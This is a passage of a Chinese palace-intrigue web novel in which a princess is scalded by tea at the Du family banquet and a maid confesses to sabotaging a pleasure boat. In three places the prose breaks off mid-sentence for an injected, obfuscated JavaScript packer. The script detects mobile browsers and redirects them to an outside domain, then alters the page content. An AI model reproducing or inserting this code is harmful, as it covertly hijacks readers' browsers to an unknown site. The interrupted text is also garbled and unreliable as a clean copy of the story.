黎崇的声音从众人身后传来,“刚才有仆从禀报杜昌,你们都没听见?” 张向之问:“听见什么?” 黎崇蹙眉道:“说是殿下在东园那边正幽会呢。” 张向之脸色一变,“这个杜昌!” 第五璟大笑道:“有王妃这等花容月貌,怎能怪殿下偷偷在杜家幽会?” 宁熙将手搭在第五璟肩上,“看来尤珪很满意我的王妃?” 他的声音不咸不淡的,却让第五璟浑身一颤,“殿下!殿下!你听我说!殿下!” 32.突变 穿过几道院门,就是宴席所在的庭院。这里南面一座四面厅,西边两座楼阁,中间有廊桥相连。中央一面水池,其中有一座石台。 水池的北边引起了万姝丹的注意,那是一条爬山廊,沿着山势挂在院墙上。 黎崇和张向之去了南面,那边地方大、人也多。 第五璟留在了西面。 他见那二人走开后,叹了口气,“今日人来得多,我以为殿下不会赴宴了。” 宁熙入了座,“总不可能一直躲下去,更何况我现在当职了,这些宴会,但凡邀请我的,我总得出来露露脸。” “王妃从宛州而来,可还习惯这边的气候?” 万姝丹饶有趣味地打量着第五璟,他一双明眸中的风流意都要倾泻出来了,“初来即便有所不适,过上一段日子总会好的。不知我该如何称呼你?” 第五璟笑,“说来我还没好好介绍过自己,在下第五璟,字尤珪,与殿下相识多年。王妃唤我尤珪便可。” 万姝丹轻笑,“似尤珪这般风流人物,想来在这京城也当数一数二,不知又会是多少女郎的梦中情人。” “王妃过誉了,我最多是一名浪荡世家子,有哪家高门贵女能看得上我?” 哼,给自己的定位还挺准确。不过这人绝非表面上的样子,万姝丹不着痕迹看了看他的手,虎口处有薄薄一层茧,是个习武之人。 “尤珪也如殿下一般喜爱自谦,依我看啊,你若是往那桥行街走上一走,再出来时,少不得鲜花满怀、瓜果满车。” “你们在聊什么?让我也听听。”宁馥与顾别清相携而来,坐在了西面的席上。 第五璟看过去,“原来是六殿下来了,你怎么比五殿下来得还要迟?” 宁馥坐在他旁边,“三哥四哥还没来,你怎么不去说他们?” 第五璟伸手一指南边,“六殿下别胡说,他们已经在那边喝酒了。” 宁馥望过去,果然见到宁恪宁远在南面那群人里谈天说地,言笑晏晏,“别清喜欢杜府这座园子,我带她稍微逛了逛。” 第五璟“啊”了一声,了然道:“原来你们也喜欢逛园子。” 宁馥莫名其妙,“什么叫也?我们真的是去逛园子了!” 西边渐渐坐满了人。 宴会正式开始了。 一小队女郎怀抱各种乐器走上了北边的爬山廊,坐定后开始演奏。在回廊的扩音之下,声音大得出奇。 万姝丹听到隔壁有人说:“杜府的这条爬山廊妙极了,这音乐就如同在耳边一样,让人如痴如醉。” 没想到她旁侧的第五璟说:“奏的是好乐,就是太吵了些。” 那边的人没有听到这句话。 第五璟扭头问万姝丹:“王妃会觉得吵吗?” 万姝丹神色自若,“我倒是觉得还好。” 又有人走过来了,万姝丹抬头一看,是杜昊。 “子辰来了。” “子辰,我听说你家三郎的画舫在弦湖上翻了,本来都拉回京河的码头上了,怎么又报了京兆府?” 杜昊长叹一声,“三郎还小,不会处理事情。那日他从宫里跑出来,就召集人手将画舫拖回了码头。过了一日,管事的通报三郎那漏洞不像自然磕碰形成的,三郎这才害怕,立刻告诉了父亲。父亲去看过以后,直接报到了京兆府。那日若是父亲在府里,断不会让三郎直接将画舫拖回码头的。” 有人问:“依着子辰这意思,你们是怀疑当时船上的人动的手脚?” 杜昊连忙摆手,“事情还没有定论,姚府尹正在查这件事情,具体什么情况,我也不清楚。” “那日船上的,我听说都是一些庶人?” “别庶人庶人的,你别哪日就栽在这群庶人手里。人家那起码都有官职在身,已经同朝为官了,注意一下,来日好相见。” “真是世风日下,我们一群世家子何时需要这般仰人鼻息?” “快少说两句吧,你若是真去考科举,还不见得考过那些寒门呢!” “不全是有官职在身的吧,杜三郎不是将画舫借给柳学士了吗?这画舫在他手上出事,柳学士没有给个说法吗?” 杜昊无奈,“柳学士说他吃酒吃多了,醉了过去,船翻时他被困在了里面,若不是执金吾及时出手相救,只怕他已经魂归西天了。” “执金吾?殿下那日也在现场吗?有没有发现那破洞是人为的?” 宁熙放下酒杯,“好端端的,怎么到我身上了。执金吾只负责打捞沉船、组织救人,这船究竟是因为什么而翻的,应当是京兆府的职责吧?” 那人还想说些什么,旁侧另一个人打断道:“说起来,那日我可是长见识了,你们家这金荆榴木还有这种用途!那香味,别提了,我在一条街外的酒馆里喝酒时都闻到了。” 杜昊被这群人缠得无法脱身,微微露出苦笑,“那是堂弟打理的产业,我确实不懂,不若我将他叫来?” 真是说曹操曹操到,杜晃在南面喝了一圈酒,走到西面时,正好听到杜昊提到他。 “叫我来做什么?堂哥,那边有人找你,你倒在这里吃酒!” 杜昊与他简单说了之后,急匆匆离去了。 杜晃一身暗黄色衣袍,他手上拿着个酒盅,脸色发红,闻言神秘笑了,“金荆榴木啊……其实所有的香料隔火熏才是最好的,散发出来的味道不会太浓,留存的时间又不会太短。只这……” 他拿眼扫过那人,“金荆榴木遇水会散发奇香,也是我们在运输时无意发现的,只是这样太过耗费香料,且融合了香料的香水能保持味道达三四天之久。我们怕有心之人在市场上贩卖此等香水,扰乱秩序,这才没有对外公布。” “不过……”杜晃话音一转,眼睛向宁熙这边看来,“金粉楼不知从哪里试出了这种方法,我们发现后与其交涉,花大价钱再将这个方法购买回来,这才与金粉楼达成协议,他们不会将此等方法对外宣传。” 他转回头,叹了口气,“颇为遗憾地是,没想到最后翻在了弦湖里,这下可好了,大家都知道了。我杜晃算是花钱买了个大亏。” 继而他又笑眯眯地说:“然而金粉楼也没有完全发掘出金荆榴木香水的所有用途,你们回头可以试试,将这香水涂抹在手腕、脖子或其他地方,能通体生香,效果比那玫瑰花或是什么花瓣浴要好上几十倍!” 那群人果然提起兴趣。 有人望着水中石台上起舞的舞姬,喃喃问:“效果当真那么好?” 杜晃眉毛一挑,“当然,我杜晃还会骗你不成!” “杜掌柜实在不够意思,这种事情现在才说出来,白白让我错过良多乐趣!” “罚酒!罚酒!” 那边闹了起来,万姝丹坐在席上,安静地吃着糕点,顾别清正要往这边走,宁熙、宁馥、和第五璟正要去南面打声招呼。 就是在这时,万姝丹透过丝竹弦乐声,听见了头上的楼阁二层传来脚步声。 来人有些紧张,脚步声不算轻,还有瓷器磕碰的叮叮脆响。然而,万姝丹偏头,第五璟没有反应,他是不会武功,还是这音乐声着实大了些? 万姝丹心思急转,恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144579|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕来者不善。 果然脚步停在栏杆边,某个容器底与瓷盘摩擦的声音响起。 万姝丹心下了然,只是有些困惑,为什么是冲自己来的? 她甚至夹起一块光明虾炙,犹豫几次,还是坐着没动,毕竟“秦可兰”是不可能听到这些异动的。而且,她忽然有了个主意。 南边传来一声尖叫。 几乎就在下一瞬,一只手拉住万姝丹,想要将她带离原地。 初时万姝丹没设防,被拉了起来,直直往侧方跌去。 差不多是同时,她立刻反应过来,脚下不着痕迹用了些力气,稳住身体,右手自然而然垂落在原处。 炸裂声起,水花四溅。 直到那水花泼溅到万姝丹的衣袖上,登时一阵疼痛传来。 她定睛一看,那容器里装的,居然还是滚烫的茶水! 万姝丹忍住胳膊上的剧痛,没有发出声音,只苍白了一张脸。 宁熙圈着她的手紧了紧。 杜晃被这一声巨响吓醒了酒,然而他反应极快,“去!还不快上去看看!是哪个不长眼睛的!怎么干的活!” 杜昊也从南面快步往这边走。 杜晃又说:“所有仆人都不许离开杜府!我倒要看看是谁!敢在杜府如此大胆!” 他扔下酒杯,避开地上的狼藉,走到宁熙面前,“殿下,王妃没受惊吧?” 万姝丹靠在宁熙怀里,嘴唇咬得死紧。 顾别清在旁侧说:“五嫂嫂,你的袖子……” 宁熙低头,看见了万姝丹的袖子上有一大片洇湿的痕迹。他颤抖着手,掀开她的袖子从手腕到肘部,一片通红,已有不甚明显的水疱出现。 万姝丹小口小口倒抽着气。 宁熙的脸立时冷了下去,他抬头扫过杜昊与杜晃。 他二人被宁熙这一眼神,齐齐惊得后退一小步。 杜晃马上反应过来,“殿下,快带王妃去上药。我这里有最好的药膏!” 杜昊也说:“殿下,先带王妃去上药吧!” 宁熙抓住万姝丹不放,他想跟着一起去。 顾别清出声阻拦,“五哥留在这里吧,我陪着五嫂嫂去上药。” 宁熙低头看向万姝丹,就见她轻轻点了点头,这才放开了她。 他嘴角勾起一抹冰冷的弧度,“那就有劳杜长君了。” 杜晃连忙喊人,“止徽,去我书房,把那瓶春草膏拿来!大哥,你带王妃她们移步前院上药去吧,这里有我。殿下放心,我们一定会给殿下一个说法的,然而无论如何,此事与杜家绝无半点干系。” 在杜昊的带领下,顾别清扶着万姝丹来到了前院的一处厅堂。 那名叫止徽的仆从也匆匆将药膏取了来。 自有婢女接过药膏,轻声对万姝丹说:“婢子要为王妃上药了,可能会有些疼。” 万姝丹径自撩开衣袖,“你只管上药。” 婢女动作利索,将药膏均匀涂抹在烫伤处。此时所烫之处,更为红肿了,且水疱丛生。 待到婢女用布条将患处包裹好之后,万姝丹对杜昊说:“杜长君,我想去后面看看。” “这……” 万姝丹不卑不亢,“我不会为长君添麻烦,只是这事确实冲着我来的,我不明白这其中何缘。私以为杜府是不会做出这种举动的,那这下手之人就是为了挑拨安王与杜府之间的关系,此事非同小可。且我也想知道这人为何要对我下手。” 杜昊长叹一声,“王妃说笑了,怎么会给我添麻烦?王妃能这么想,实在是杜府之幸。” 33.水落 等到她回到后院时,这里已经清场了。 杜晃见杜昊将万姝丹领了过来,皱皱眉,吩咐仆从又搬来一张椅子。 宁熙见了万姝丹,将她的脸色仔细瞧了瞧,看她眉目间并无难忍之色,想来曾经受伤受惯了。他在心里啧了一声,站在万姝丹的旁边。 万姝丹的视线一直锁定在那名婢女身上,她跪在众人中间,一直低着头,看不清面容。万姝丹将她从上到下仔细打量一番,确定这是个普通人,难怪会走出那样的脚步声。 只是那茶壶与瓷盘的碰撞声,她是在紧张吗? 万姝丹无法肯定。 那边有仆从将身契拿给杜晃,杜晃看了一眼就交给了杜昊。 杜晃说:“若云,颍州安南人。你父亲在颍州当香料工人,你上京在杜府当婢女。你们一家人都由杜府养活,你是出于何种目的,在宴会上袭击五王妃,试图挑拨五殿下与杜家的关系?” “我看不一定吧。”顾别清发话了,她神色淡淡的,仿佛只是在阐述一件事实,“当时我本来打算坐到五嫂嫂身边,同她聊一聊近况。然而在我离她还有三步时,那茶壶突然掉落下来。若是我走快一些,恐怕也要把我算在其中了。当时人多又乱,这个小婢女有那么大的本事,能不偏不倚、准确地将茶壶扔在五嫂嫂头上?” 杜昊问:“六王妃这是何意?” 顾别清没什么表情,“我的意思是,有没有一种可能,她是随即挑选的谋害对象。” 万姝丹心中明白,宁熙刚领执金吾左将军不久。此次突发事件,将宁熙再次推到了人前。万姝丹本想着让宁熙躲在太子身后,低调行事。 清明当日新火传递的盛况,今日来参加宴会的每一个人都心知肚明。不在此时谈论,无非是在场还有四位殿下。除去宁熙、宁馥外,惹恼了另外两位,对谁都没有好处。 陛下有意抬太子,新火一事在本朝重启,竟然是从东宫发出,这是莫大的殊荣。虽说以东宫的地位来看,承担这样的声望理所应当。然而太子的资质,朝中人皆知,属实是德不配位。 争权之势从未停止过,谁出头过多,都不是一件好事。除了宁熙以外,剩下三位殿下的王妃都是极有背景之人,包括太子妃亦是如此。 四王妃贾琦是尚书左仆射贾独的女儿,贾家与杜家有联姻,可以说整个尚书都省都在四皇子手中。 三王妃郑琬,是大理卿郑权明的女儿。郑权明在任上,以严谨断案闻名,他的叔父是吏部尚书郑於。 按理说尚书都省统摄六部,但在武帝治下,六部尚书的权力仍在。这么说的原因在于政事堂制度,中书省中书令、门下省侍中、尚书省左右仆射,都是宰相班子,他们整日坐镇政事堂,本省的事务实际上不再由他们处理。 政事堂还有一个秉笔宰相的规定,是由几位宰相轮换来担任,基本上是十日一轮换。秉笔宰相相当于宰相之首,可以主持政事堂会议、承接诏旨,而且值宿于政事堂中。 最关键的一点在于,非大事的诏令下抵,可以直接由秉笔宰相代其他几位宰相签署。百僚有司的问白①,也由秉笔宰相答复。 宁熙当初的任命制书能快速下达,也是因为当日的秉笔宰相是虞今楠,他是政事堂里唯一没有党附的宰相。 这太子妃南芸,就是中书令南确的女儿。只是南确从两年前开始病痛不断,南家这一代又青黄不接。 再说那顾别清,顾老太傅的孙女。太傅位列三师,属于正一品,是皇帝名义上的老师。顾老太傅学问渊博,实际上是皇子们的老师,也是天下读书人尊崇的老师。 而秦可兰,孤家寡人,能仰仗的只有皇帝本人了。盛衰荣辱皆在皇帝一念之间。 万姝丹低头看了看自己受伤的右臂。 盛衰荣辱? 呵呵。 她在心中冷笑。 杜昌冷哼,“这婢女抓住那一刻的时机,只想害五王妃一人,六王妃又何必上赶着想要成为被害人呢。” 顾别清淡然地扫去一眼,没有理会。 “哦?”此刻宁熙的神情是万姝丹没见过的,懒散中透着一丝锋利,“依照杜二郎的意思,这杜府的小婢女,与我之间有何仇怨?” 杜昊微微脸色一变,低声喝道:“不许无礼!” 同时杜昌不以为意说:“与殿下的仇怨,自然要问这婢女……” 听到杜昊的警告,杜昌挑眉,嘴角勾起讥笑。他走上前,一把揪住婢女胸前的衣衫,将她从地上半拽了起来,“你倒是说话啊!五殿下问你话,你没听见吗?” 杜昊吓了一跳,他扣住杜昌的手,迫令他松手,“二弟!” 杜昌耸耸肩,松开手,那婢女掉回地上。 杜昊也松了手,他对宁熙说:“五殿下,此婢女一直未开口,不若……” 宁熙没等他说完,“不若移交有关部门审问?” 杜昊拧眉,犹豫着:“这……” 杜昌不乐意了,“不过是一个婢女差点犯了事,我们杜府自会给五殿下一个交代。” 万姝丹瞬间眯起双眼。 是了,今日之事说大可大,说小也可小。若她没有受伤,那依杜府的能力,自然可以压下此事,谁让宁熙不受宠呢? 可她受伤了,事情就变得不一般起来。虽说此举将宁熙推了出来,可问题是,他刚受命未几日,谁在这个时候上赶着找安王府的麻烦呢? 既然有人不愿意放过安王府,那万姝丹就要把事情再闹大一些。 皇帝用宁熙来平衡太子,不让太子显得过分突出。那总要给他们一些保证吧?这才过了几天?就有人坐不住了? 虽然不知是谁做的,可万姝丹觉得实在是过于被动。 “交代?”宁熙仿佛听见了什么笑话一般,“你可知秦可兰是皇上赐婚,如今才过去几日,就在你们杜府发生这样的意外,若是被皇上知道了……” 顾别清接着道:“难道你们不知道,当时是皇孙误入云霄阁,出来后才有的这一纸赐婚,绝非旁人刻意为之。” 杜昌还想再说什么,杜昊登时拦住他,“我这就着人押送此女去刑部。” 第五璟一直旁听着,这时才说了第一句话,“嘶,不对吧,这种事情不应该首先送交京兆府吗?大理寺也可以啊,怎么就要去刑部了?” 杜昊眉头跳了跳,“那就京兆府!来人!” 万姝丹站起身,她朝杜昊微微一笑,“如此,劳烦杜长君了。” 等到所有外人都离开后,杜昌语气不善,对仆人说:“还不快去告知四殿下!” 他又问:“父亲在哪儿?” 得到回答后,杜昌骂骂咧咧地过去了。见到杜含时,杜含正拉着杜晏欣赏那副沈运的画。 “父亲!” 杜含听后,用手捋着胡须,“子辰跟着去京兆府了?那你去,让杜晃跟你一起,彻查杜府上下一应仆从、婢女,仔细审问,看看这若云平日都接触过什么人,又是从何时发生变化,行为上与之前有所差别。” 杜昌称“是”,正想安排下去,又想起什么,折回来,“那宁熙那边……” 杜含眉毛倒竖,瞪圆了眼睛,“放肆!那是五殿下!岂是你能随意直呼姓名的!” 杜昌撇嘴,不服气,“可是……” 杜晏手里把玩着折扇,“二哥怎么还不明白?今非昔比,不再是谁来都能踩一脚五殿下的时候了。那秦可兰是皇上赐婚,虽说她没有了娘家,可云霄阁是什么地方?秦静的画像就挂在里面。” “皇上已到暮年,最近两三年尤其容易怀念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158752|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以前的日子。秦静死了,只剩一女独活世间,皇上难免起了怜悯之心。而且五殿下岁数不小了,不尽快为他安排个婚事,待到长公主物色好人选后,你说皇上是答应还是不答应?长公主与皇上的情谊深厚,这你又不是不知道。” “要我说,二哥与那群人之前对五殿下毫不客气,真是一点都没把长公主放在眼里。若不是蓝家的事情横亘在长公主、五殿下与陛下之间,哪里容你们猖狂。长公主忍了这么多年,也是为了保护五殿下。” “如果她展现出强硬的一面,陛下就要不满意了,到时设个罪名,五殿下就要身赴黄泉了。而你们只要不陷害五殿下,长公主就不予理会,陛下也就睁一只眼闭一只眼了。” 杜含点点头,“河清说得不错,你以后也多思考思考!好好想一想形势!” 杜昌面色复杂,既不服气,又带着后怕,下去办事了。 * 万姝丹从杜府出来后,见天色还早,就与顾别清相携去了西渚楼。宁熙、第五璟与杜昊,带着人押送若云,去了京兆府。 这西渚楼就在金川楼对面,原本是金川楼正在建的另外三座楼之一,在金川楼发生意外后,便成了无主之楼。五六日以前,被一位从西州来的商人买下,不出两三日就装修完毕。 今日正是开业第一天。 顾别清带着万姝丹来到这里,想尝一尝西州那边的美食。二人进了雅间,对着菜谱犯了难。万姝丹也没有去过西州,不知道什么好吃。左右二人并不着急,一边翻着菜谱,一边有一搭没一搭地聊着。 就是在这个时候,万姝丹听到了楼梯上的脚步声,往这边来了。 一位穿戴颇为华丽的郎君出现在雅间门口,先入万姝丹眼的,是那双用金线绣满花纹的靴。 那人掀开帘子,语调轻快,“六娘可要我推荐一二?” 这人面若冠玉,双眼清澈,如万里无云的夏日晴空。 顾别清打量着他,“你怎么来了?” 不等对方回话,她介绍说:“这就是杜三郎杜晏。” 杜晏弯腰行礼,对万姝丹说:“字河清。四娘唤我河清即可。” 顾别清手指曲起,叩叩桌子,“刚才杜府发生了那样的事情,你来做什么?” 杜晏自来熟一般,搬了把椅子坐在门口的位置,“所以我来给四娘赔礼道歉。” 万姝丹瞧着他的动作,“杜三郎真是交友好手,我还未说什么,你倒自己坐下来了。” 杜晏“啊呀”一声,“杜府没有那样做的理由,我知四娘不会与我计较的。方才四娘看审的样子,倒真有褚王的影子。四娘随了褚王的胆量,自当也有褚王的宽厚。” 万姝丹闻言笑了,“杜三郎……” 杜晏抬手,“河清。叫杜三郎太生疏了。” 万姝丹皮笑肉不笑,“河清当真一副巧嘴。” 杜晏摆摆手,“不敢当,不敢当。我这张嘴只好吃,论吃我在行,论花言巧语,我可比不了尤珪。” 顾别清说:“你接着编排,一会儿尤珪就来了。” 杜晏笑嘻嘻地:“我知六娘、四娘是不会告诉他的。” 说完他搓搓手,“好了好了,我也还没吃饭呢,咱们边吃边聊。这西州啊,吃食不比京城精细,然而粗放之中别有一番风味,尤其是这烤肉,你们一定要尝尝!” 正当他们等待时,有人来报杜晏,“三郎,有消息了。” 杜晏“刷”地一声打开折扇,一双眼睛从折扇上方露出来,皎若朝阳,“如何?留我下来,还能听到一手消息。” 仆从继续说:“若云刚到京兆府,要求只见姚府尹。姚府尹一来,还未开口,那若云直接跪下,承认是自己破坏了画舫,致使翻船。” 杜晏脸上笑容一僵。 34.石出 万姝丹饶有兴致看着他的反应。 杜晏整个人卡壳了一瞬,很快再次运转。他装作不是什么大事的样子,“消息可靠吗?” 那名仆从确认,“绝对可靠。” 杜晏小口小口吸着气,拍板道:“再探!再报!” 什么?什么再探再报? 万姝丹一时间没想通,她对接下来要发生的事情十分感兴趣。考虑到秦可兰的性格,她忍住了探出窗外查看的冲动,转而拿起桌上的茶杯,浅浅抿了一口。茶水入口的那一刻,她忍不住咳呛起来。 这是什么茶水,怎么味道这么奇怪,发苦发涩。 顾别清安坐在对面,对杜晏所做的一切毫无兴趣。当万姝丹咳出声后,顾别清却浅浅地笑了,“没喝过?” 万姝丹皱着眉,手捧着那杯茶,“没有,这是茶水?” 顾别清端起茶壶,缓缓倾倒茶水入杯中,“这是西州的喝法。正常来讲,咱们煮茶会放盐、葱姜、花椒等等调味料。而西州那边煮茶,只是单纯地煮茶叶。” 一谈到吃喝上,杜晏又来了精神,“六娘说得不错,可你们知,为何会这样?” 他故意卖关子,神秘兮兮地盯着二人笑。 顾别清只管喝茶,并不搭理他。 万姝丹见此,也没有说什么,她低头再品一口,茶水的苦涩过后,有淡淡的回甘。 杜晏见二人都不理会自己,“喂喂喂。” 他伸手在二人眼前晃动,“你们两个!哼!又是这样!” 杜晏撇撇嘴,“你们是算准了我会说出来!” 他像是仅仅抱怨一声,接着说:“这西州地处西北,与西域接壤。那里盛产红花,做胭脂、做染料,贸易十分兴盛。商人行商时,偏好带茶叶上路,这东西可以提神醒脑、缓解渴乏。” “然而出大夏境后,地广人稀,即使碰上村镇,煮茶所需的调味料也不一定齐全。有的商人口渴难耐时,仅将茶叶煮了,发现这样喝别有一番风味。于是一传十十传百,渐渐流传开,只不过咱们这边并不流行。” 万姝丹若有所思,“河清知道的事情真多。” 杜晏笑眯眯地说:“我就喜欢这些东西,吃与玩我在行。四娘若是愿意,我可以带四娘游玩京城,保准让四娘获得不一样的体验。” 这时,方才那名仆从又跑了上来。他气喘吁吁,顾不得擦脸上淌下的汗水,稳了稳声音说:“姚府尹听到若云所言,十分震惊,要她完完整整说出自己的作案过程。若云说,她在三月二这日,随府上的婢女、仆从一起去京河码头上布置画舫,因为第二日要将画舫外借出去。她就起了念头,要将画舫凿个窟窿,让它在第二日游湖时倾覆。” 仆从说完这句话,一时间安静下来。 见没了后文,杜晏瞪圆了眼睛,“然后呢?你卡在这里,你觉得合适吗?” 那仆从登时明白,匆匆跑了下去。 又有一位身穿仆从衣服的人,与下去那人擦肩而过,他快步走近,躬身禀告,“那若云说,她原本以为杜三郎将画舫借给了世家贵族,因而冒险做这一回。结果没想到那画舫上的,并不是什么世族。而且杜三郎还默不作声将画舫拖回了码头。于是她又另想办法,这才有了今日的事情。” 这人说完之后,又有另一人上来,接着说:“那姚府尹就问若云,是如何让画舫在三月三那日倾覆的。若云就说,她未将船板全部凿穿,而是有所留存,能够保证画舫平稳驶入弦湖,只待客人一位一位走上画舫,增加重量,由湖水冲破薄弱处。” 这段话说完,令在场的三人都陷入沉思。 万姝丹没想到这件事情还挺复杂,然而即使她不懂建造,也立刻明白这件事绝对不可能由一名小小的婢女完成。 果不其然,下一名仆从来时,就说出了她的疑问,“若云说完以后,姚府尹没有直接否定,而是询问了许多问题。第一个问题是,‘你是从何得知这个方法的’。” “若云的答复很快也很具体。她说自己是从银杏街得知的。那日她本来是替府中娘子们采买胭脂,其中有一名娘子指名要金支斋的胭脂。她买完胭脂出来以后,无意间听到街角有人在闲谈。” “那些人在谈论两三年前的一次船难。海上变幻莫测,出海航行多有突发情况,即便是身经百战的老船员也难以完全应付得了。因此每一次出海都是一场豪赌。然而他们说海上明明没有波浪,仍是发生了翻船,因为船沉海底无法打捞,就不了了之。” “有一人却说,那次翻船不是意外,而是人为。因为当时他就在那艘船上,也是他,发现了船舱底奇怪的裂痕,不过他并没有在意。直到船停在琼州又装了一批货物,要驶入远洋时,船舱突然进水,他侥幸活了下来。” “若云继续交代,她因为好奇,就去问了问详细情况,那人并无隐瞒,说他事后回想起那裂痕,确实不像自然形成的,那痕迹虽狭长,却并非一条线,而是有点偏核状。他寻来一艘船,几番尝试后,明白了那是有人事先凿好的痕迹,未凿穿部分的厚度,要依据载重来计算。她得到这个方法,用积蓄买了一叶小船,几经尝试,验证了这个方法的可行性。” 在下一名仆从上来之后,杜晏制止了他,转问席上另外二人,“两位娘子坐在这里,听了不少内容,总得给点见解吧?” 顾别清神色依旧,“见解?你一点不避讳我俩,我还以为这些内容没什么大不了的,又何须我二人提供看法?” 杜晏稍微一顿,也不气馁,他力争以理服人,“六娘,我杜家这些多年以来,自认为没有做过什么伤天害理的事情。六娘又何必如此戒备我呢?” 顾别清见好就收,她安抚道:“时局未明……我凭河清名声,多说两句,这件事情透露着诡异,你们杜家岂是一名小小婢女能撼动的?可她还是直直撞了上来,一切安排乍一听又那么顺理成章。” “可是,街角闲谈之人是谁?传授方法这人又是谁?一个婢女没有任何工匠经验,从哪里来的工具?又是如何完成凿船这件事的?就算她所说的一切皆成立,她真的凿穿了一叶小舟,可你的那艘画舫,却绝非她一人可以做成的。” 接着她话音一转,“这些事情,我不信河清你想不明白。” 杜晏没有回答,他将目光落在万姝丹身上。 万姝丹察觉到了他的目光,抬起头,就对上了一双似笑非笑的眼睛。她在心里冷笑,面上却显温柔,“我初来乍到,对京城一点也不熟悉。比起点评那若云,我觉得河清更有意思,这往来仆从、门庭若市的样子,你的消息可够通透的。” “让五娘见笑了。”也不知杜晏是否接受了她这般推搪,转而面向仆从,“你继续说吧。” 那名仆从恭敬道:“姚府尹问的第二个问题是‘为何要选安王妃下手’。若云仍是没有丝毫迟疑,她说她并不知道那是谁,只知道西边席上安排的是整个园子中地位最高的人。她要做的就是把事情闹大,越大越好。” 空气变得潮湿起来,万姝丹转头望向窗外,明明还是晴天,忽然有雨珠砸下来。 一阵急雨陡然降临。 太阳依旧挂在半空。 还未等万姝丹将这场骤雨看个仔细,雨又停了。 杜晏脸上终于出现一丝动容,他语带歉疚,话音被这场雨砸出点点坑洼,“看来今日这饭是吃不成了,来日再寻机会,我定要宴请二位娘子。” “河清慢走。” 待到杜晏一行人全部离开后,顾别清轻扣桌面,“五嫂嫂可要回府?” 万姝丹扬起一个浅笑,“不了,我再坐一会儿。” 景王府的马车已经到西渚楼外了。 顾别清作别万姝丹后,随自家马车回去了。 万姝丹仍安坐在原处,看着窗外的行人。 突然又是一阵急雨打落。 颜宥津就是踩着这次的雨水上来的,“王妃。” 万姝丹给自己倒了杯茶水,“殿下呢?” 颜宥津说:“已经出京兆府了。” “这么快?若云审完了?” 颜宥津摇头,“不知详情,须等殿下来。” 万姝丹若有所思,“这个杜晏,消息渠道真有一手。你在京中,可知道这杜三郎到底是何方神圣?” 颜宥津回说:“杜三郎不做官、不经商,只好结交朋友,从世家到寒门,他都能交到不少友人。别说跨越门第了,就是在同一个圈子里,也难免遇到纷争。倘若处理不善,名声就要打折扣。可这杜三郎,不仅在自己的圈子里玩得好,就是在寒门之中,也鲜有负面评价。” 万姝丹摸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174510|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸下巴,“好一个长袖善舞之人,难怪消息获取这么及时。有点意思。” 窗外雨又停了。 万姝丹抬头一看,仍是晴天。 西渚楼外,宁熙刚下马车。景煜本来打好了伞,见雨停了,就收起来了。 宁熙进了雅间,坐下后的第一句话就是,“杜晏刚走不久?” “是啊。”万姝丹从旁侧拿了个新杯子,给宁熙倒满一杯茶水,“我都不知道他来见我和别清这一趟是为何。” 宁熙浅抿一口,面色未变,“我听景煜说了。杜晏此举展示了他的能力,并未对你藏着掖着,想表示今日之事确与杜府无关,所以坦荡。况且他杜三郎在京中朋友无数,消息灵通这一点本不算什么大秘密。却没想到那若云竟然还与画舫之事有关。” 万姝丹仔细瞧着宁熙的反应,她疑惑道:“殿下竟似喝过这种茶水?” 宁熙握着茶杯的手一顿,失笑,“我还道你盯着我做什么。这是从西州传入的饮法,我确实喝过。倒是你,你走南闯北,怎么没喝过?” 万姝丹摇摇头,“许是没遇上吧。对了,方才我只听到姚府尹问的第二个问题,后面如何了?” 宁熙说:“那第三个问题就是,她为何要将事情闹大。若云不答。” 万姝丹皱皱鼻子,“没了?” 宁熙微微蹙眉,“姚崇峻又问,她在银杏街遇到的那人可有姓名。画舫绝非她一人之力可以破坏得了,她可有帮手。杜府待她不薄,为何要做出这种事。” 万姝丹接道:“她都没答?” “都没答。” 宁熙手指一下一下点在桌面上,“姚崇峻就重复问了头两个问题,那若云的回答可以说是一字不差,和第一遍一模一样。” 万姝丹不明所以,“这不是明摆着告诉在场的人,她身上有秘密吗?” 宁熙吐出一口气,“是啊,所以姚崇峻就把她关押了。我们就出来了。” 万姝丹沉默不语。 宁熙的目光看向她的右小臂,声音沉了几分,“王妃对此可有解释?” 万姝丹自思绪中抽离,茫然抬头,“什么?” 见他盯着自己的右小臂,了然道:“说起来还要多谢殿下出手,若不是殿下,我伤得就不止是手臂了。” 宁熙明显不信,“以你之能,竟不能护自己周全?你没听到任何动静?” 万姝丹反问:“殿下听到了?” 宁熙双眼微眯,不答话。 万姝丹露出一个不走心的笑,“殿下没听见,是如何及时拉起我的?” 